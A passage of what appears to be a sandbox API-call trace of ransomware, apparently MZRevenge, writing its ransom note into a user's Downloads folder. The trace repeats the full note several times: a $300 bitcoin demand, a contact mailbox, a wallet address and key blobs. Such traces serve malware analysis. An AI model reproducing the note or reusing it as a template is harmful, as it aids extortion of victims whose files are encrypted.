fwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x24a2f48, cbMultiByte=5981, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRIVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", lpUsedDefaultChar=0x0) returned 5981 [0217.760] WriteFile (in: hFile=0x32c, lpBuffer=0x24a2f48*, nNumberOfBytesToWrite=0x175d, lpNumberOfBytesWritten=0x19fd14, lpOverlapped=0x0 | out: lpBuffer=0x24a2f48*, lpNumberOfBytesWritten=0x19fd14*=0x175d, lpOverlapped=0x0) returned 1 [0217.761] CloseHandle (hObject=0x32c) returned 1 [0217.761] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x19f598, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0217.761] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Downloads\\" (normalized: "c:\\users\\fd1hvy\\downloads")) returned 0x11 [0217.761] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x19f598, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy") returned 0xf [0217.761] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Downloads\\How Do I Recover My Files (Readme).txt" (normalized: "c:\\users\\fd1hvy\\downloads\\how do i recover my files (readme).txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0217.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 mb)\r\n1 or 2 file and following special public and private mzrevenge keys produced for you send us\r\nwe will decrypt these files and send it back to you. This is our guarantee.\r\n\r\n* How to contact with you?\r\nYou can write us to our mailbox: mzrdecryptorbuy@firemail.cc\r\nDon't forget, check your \"Spam\" or \"Junk\" folder it you can't get more than 6 hours of answer.\r\n\r\n* How will the decryption process proceed after payment?\r\nAfter payment, we will send you our special decoder program by mail, just open it,\r\nthen it will automatically decrypt all your files. but you need to pay for it and contact us.\r\n\r\n* So what is Bitcoin and how to get it?\r\nThe easiest way to buy bitcoins is LocalBitcoins site.\r\nYou have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/\r\n\r\nIf you are ready to pay the money we want,\r\nBitcoin address to which you will send the payment: 3HYoqfBS1ZceA2AvmdEucbnEHp74nu9cjd\r\n\r\n\r\nThese are public and private MZREVENGE decryption keys produced for you.\r\nIf these keys are damaged, nobody can recovery your files.\r\n\r\n============================{ PUBLIC MZREVENGE KEY }=============================\r\nMZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=\r\n=================================================================================\r\n\r\n============================{ PRİVATE MZREVENGE KEY }============================\r\n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\r\n=================================================================================\r\n", cchWideChar=5981, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5981 [0217.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="* What happened to my files?\r\nYour important files are encrypted.\r\nMany of your documents, photos, videos, databases, and other files are no longer\r\naccessible because they are encrypted. Maybe you're busy finding a way to\r\nrecover your files, but do not waste your time. Nobody can recover your files without\r\nour decryption service. However, if you want to use the programs of data recovery companies,\r\nplease do not work on your original files, but make copies of them.\r\nCorruption of the actual files can cause irreversible damage to your data.\r\n\r\n* Can I Recover My Files?\r\nSure. We guarantee that you can recover all your files safely and easily.\r\nBut for this you need to send $300 worth bitcoins to our address.\r\nEven if you give money, Do not believe the people around you who\r\nsay they will not give your files, I Have Enough Reference To Give You Confidence.\r\nI don't know about you, so there is no point in having bad feelings towards you,\r\ndoing evil to you, my goal is just to earn an income from this business.\r\n\r\n* What about the guarantees?\r\nThis is just a job. We never care about you and your deals.\r\nIf we do not fulfill our work and obligations - no one will cooperate with us.\r\nIf you do not believe us, tell us any 1 or 2 files with SIMPLE extensions\r\n(jpg, xls, doc, etc ... not databases!) And low size (max 1 